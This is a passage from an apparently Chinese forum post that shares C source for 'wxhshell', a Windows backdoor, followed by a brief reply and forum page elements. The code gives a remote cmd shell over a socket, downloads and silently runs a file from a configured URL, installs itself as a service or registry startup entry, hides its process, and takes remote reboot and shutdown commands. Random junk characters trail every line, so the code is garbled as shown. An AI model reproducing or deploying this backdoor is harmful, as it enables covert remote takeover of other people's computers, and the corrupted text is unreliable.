  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <UOx>=h  
  } S#Tc{@e  
  else { 9"Oz-!Y4  
>j5) MF{"  
    switch(cmd[0]) { i\lur ET  
  I *YO  
  // 帮助 4n @}X-)  
  case '?': { zV_U/]y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'VcZ_m:  
    break; [,Q(~Qb  
  } !qsk;Vk7Z  
  // 安装 s!esk%h{K  
  case 'i': { !'o5X]s  
    if(Install()) XW w=3$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y u\<  
    else la:i!q AH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D7H,49#1Q  
    break; @d]I3?`  
    } 1OJD!juL$  
  // 卸载 / PDe<p  
  case 'r': { S C7Tp4  
    if(Uninstall()) rVgz+'rFD[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rxH*h`Xx@  
    else 3e4; '5q;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e6f:@ O?  
    break; ~G|un}g=  
    } SN+B8*!  
  // 显示 wxhshell 所在路径 bCr) 3,  
  case 'p': { _xT=AF9~o  
    char svExeFile[MAX_PATH]; S*-n%D0q5  
    strcpy(svExeFile,"\n\r"); k~Qb"6n2  
      strcat(svExeFile,ExeFile); 7\m.xWX e  
        send(wsh,svExeFile,strlen(svExeFile),0); DG,CL8bv  
    break; kY*3)KCp  
    } @RGVcfCG)  
  // 重启 Y?W"@awE"\  
  case 'b': { PPSf8-MLW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9v>BP`Mg  
    if(Boot(REBOOT)) EN />f=%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ c,KK~{  
    else { Bf33%I~  
    closesocket(wsh); '2mR;APz  
    ExitThread(0); }6ObQa43   
    } Rp$t;=SMD  
    break; MF:]J  
    } qI;"yG-x-  
  // 关机 X_GR{z%  
  case 'd': { "9 ,z"k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /cHd&i,>  
    if(Boot(SHUTDOWN)) ~nJcHJ1nb4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQ!wq  
    else { ^Yz.,!B[  
    closesocket(wsh); 5[l9`Cn&A  
    ExitThread(0); gZ%wm Y  
    } ,_;+H*H>"  
    break; l^aG"")TH.  
    } RzCC>-  
  // 获取shell m8'B7|s  
  case 's': { I{Hl2?CnI,  
    CmdShell(wsh); y3l3XLI*b  
    closesocket(wsh); i(P/=B  
    ExitThread(0); 1cPm $=B  
    break; 4|*b{Ni  
  } t I}@1  
  // 退出 Ah:!  
  case 'x': { w@RVg*`%7D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;d$PQi  
    CloseIt(wsh); ,4W| e!  
    break; w#.Tp-AZ;\  
    } \pI)tnu6'U  
  // 离开 .BN~9w  
  case 'q': { N!Dc\d=8q]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B;Pws$J  
    closesocket(wsh); W:D'k^u  
    WSACleanup(); P'f0KZL;  
    exit(1); ~XAtt\WS  
    break; *V+6409m  
        } _/;k ;$gDp  
  } :Awnj!KNCc  
  } Vj?{T(K1[  
M`IiK+IoU  
  // 提示信息 Trd/\tX#v&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rmpx8C Y"  
} k8fvg4  
  } o=i)s2   
%gj's-!!  
  return; (2J_Y*N~>  
} n';"c;Ye)  
+~, qb1aZ  
// shell模块句柄 FlJ(V  
int CmdShell(SOCKET sock) t}m6];  
{ ZqKUz5M4  
STARTUPINFO si; XVwaX2=L  
ZeroMemory(&si,sizeof(si)); XQCu\\>;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rl-r8?H}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rN6 @=uB  
PROCESS_INFORMATION ProcessInfo; ;#c|ZnX  
char cmdline[]="cmd"; oFt]q =EU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |jB]5ciT  
  return 0; JqWMO!1  
} 0v6(A4Y  
!wH7;tU  
// 自身启动模式 1Xy{&Ut\  
int StartFromService(void) qh}M!p2  
{ P(?i>F7s  
typedef struct g7*cwu  
{ Z}bUvr XP  
  DWORD ExitStatus; ECHl 9; +  
  DWORD PebBaseAddress; H':dLR  
  DWORD AffinityMask; .5=Qf vi*  
  DWORD BasePriority; (?MRbX]@  
  ULONG UniqueProcessId; &1O[N*$e  
  ULONG InheritedFromUniqueProcessId; Abr:UEG  
}   PROCESS_BASIC_INFORMATION; 4k'2FkDA  
hgCF!eud  
PROCNTQSIP NtQueryInformationProcess; tBEZ4 W>67  
A:Y]<jt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \+OP!`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \m @8$MK  
b|U48j1A  
  HANDLE             hProcess; z 9mmZqhK\  
  PROCESS_BASIC_INFORMATION pbi; gs;3NW  
(lv|-Phc.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RFF&-M]  
  if(NULL == hInst ) return 0; `P;fD/I  
i<<NKv8;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B"N8NVn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {XYv &K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R_4]6{Rm  
Y9F78=Q  
  if (!NtQueryInformationProcess) return 0; SI_{%~k*B  
M$O}roOa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $<^4G  
  if(!hProcess) return 0; ]'Y vI! r  
0gNwC~IA8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I}oxwc  
[\N,ow,n  
  CloseHandle(hProcess); dRg1I=|{_  
51.! S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rAqg<fR*  
if(hProcess==NULL) return 0; (1e;7sNG@  
+ >o/Ob  
HMODULE hMod; e-<fkU9^W  
char procName[255]; i9}n\r0=c  
unsigned long cbNeeded; b~\gV_Z  
zo66=vE!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [uOW\)`  
yC. ve;lG  
  CloseHandle(hProcess); B.2F\ub g  
wc-H`S|@  
if(strstr(procName,"services")) return 1; // 以服务启动 ;p ~@*c'E  
C[ <OF/  
  return 0; // 注册表启动 `o(PcX3/}  
} ;c73:'e  
f:L%th  
// 主模块 uiq)?XUKv  
int StartWxhshell(LPSTR lpCmdLine) PN0l#[{EN  
{ .Ajs0 T2  
  SOCKET wsl; \ ?['pB  
BOOL val=TRUE; (mXV5IM  
  int port=0; ,2u-<8  
  struct sockaddr_in door; Q7]:vs)%  
|YjuaXd7N  
  if(wscfg.ws_autoins) Install(); RW 23lRA6  
jYKs| J)[  
port=atoi(lpCmdLine); cad1eOT'  
8EZ"z d`n/  
if(port<=0) port=wscfg.ws_port; >*%ySlZbs  
JBQ,rX_Hw  
  WSADATA data; R{S{N2+p(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r-]Au -  
UNLy{0tA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2GECcx53  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c0ET]  
  door.sin_family = AF_INET; K V ^ `  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N(mhgC<O  
  door.sin_port = htons(port); E@QsuS2&  
*1iJa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { drT X  
closesocket(wsl); -Zfzl`r  
return 1; "^~f.N  
} o2?[*pa  
l'-dB  
  if(listen(wsl,2) == INVALID_SOCKET) { vvw6 GB,M  
closesocket(wsl); w C]yE\P1  
return 1; h &9Ld:p  
} B]]_rl,  
  Wxhshell(wsl); 0+IJ, ;Wx  
  WSACleanup(); 1vQf=t %lw  
Mvoi   
return 0; ^.jIus5  
PIP2(-{ai  
} SiHZco I  
g<oSTA w  
// 以NT服务方式启动 y]eH@:MJ;A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hfP}+on%  
{ # 4`*`)%  
DWORD   status = 0; msg&~" Z  
  DWORD   specificError = 0xfffffff; &O5%6Sv3d  
a #?% I#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " M8 j?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FX)g\=ov  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yNdtq\h  
  serviceStatus.dwWin32ExitCode     = 0; _7 .Wz7]b  
  serviceStatus.dwServiceSpecificExitCode = 0; Sai_rNRWB  
  serviceStatus.dwCheckPoint       = 0; oz%ZEi \bW  
  serviceStatus.dwWaitHint       = 0; "XMTj <D  
N8:?Z#z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nU%rSASu  
  if (hServiceStatusHandle==0) return; u9}}}UN!  
8m1 @l$  
status = GetLastError(); ":?>6'*1  
  if (status!=NO_ERROR) @P+k7"f  
{ @m!~![  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ("o <D{A  
    serviceStatus.dwCheckPoint       = 0; Jis{k$4  
    serviceStatus.dwWaitHint       = 0; ORlz1 &hW  
    serviceStatus.dwWin32ExitCode     = status; HH+NNSRO  
    serviceStatus.dwServiceSpecificExitCode = specificError; {'G@-+K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hk8:7"4Q  
    return; F6Zl#eL  
  } KbVV[ *  
MGX %U6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x_{ua0BLDf  
  serviceStatus.dwCheckPoint       = 0; F >2t=r*9  
  serviceStatus.dwWaitHint       = 0; LlL\7?_;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zu:cF+h l  
} eSoOJ[&$  
Wcn3\v6_  
// 处理NT服务事件,比如:启动、停止 Y&`Vs(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $bh2zKB)  
{ 2fTkHBhn&  
switch(fdwControl) ~}w(YQy=y  
{ &$jg *Kr  
case SERVICE_CONTROL_STOP: hf0G-r_ow  
  serviceStatus.dwWin32ExitCode = 0; qO[6?q=c:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }Y[Z`w  
  serviceStatus.dwCheckPoint   = 0; A_T-]YQ  
  serviceStatus.dwWaitHint     = 0; zMt"ST.  
  { J]nb;4w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EnA) Rz  
  } C*ZgjFvB  
  return; q% )Y  
case SERVICE_CONTROL_PAUSE: o+`W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u-Ct-0  
  break; IV_u f  
case SERVICE_CONTROL_CONTINUE: -N^}1^gA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q bfm*JP~  
  break; P1 =bbMk  
case SERVICE_CONTROL_INTERROGATE: )<9g+^  
  break; ~-lIOQ.v  
}; Tz+2g&+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $&nF1HBI4  
} =#n05*^  
 S20x  
// 标准应用程序主函数 $1.iMHb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fp4eGuWH#  
{ ~el#pf~  
wKe^5|Rr  
// 获取操作系统版本 j[m\;3Sp  
OsIsNt=GetOsVer(); F}<&@7kF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D}px=?  
}\=9l<|  
  // 从命令行安装 !V$nU8p|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 's@v'u3  
$$<9tqA  
  // 下载执行文件 AvRZf-Geg  
if(wscfg.ws_downexe) { t*zve,?}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  BqP:]  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hx2UDHF  
} y.JAtsxD  
`r'q(M  
if(!OsIsNt) { XJ?|\=]  
// 如果时win9x,隐藏进程并且设置为注册表启动 "v/^nH  
HideProc(); )FT~gl%  
StartWxhshell(lpCmdLine); 5H:NY|  
} -]~U_J]  
else ' IFbD["r  
  if(StartFromService()) je9[S_Z:Y  
  // 以服务方式启动 _a8^AG  
  StartServiceCtrlDispatcher(DispatchTable); )NRY9\H  
else *:\-:*  
  // 普通方式启动 1%^U=[#2`  
  StartWxhshell(lpCmdLine); o DPs xw  
X&MO}  
return 0; Lg|j0-"N  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八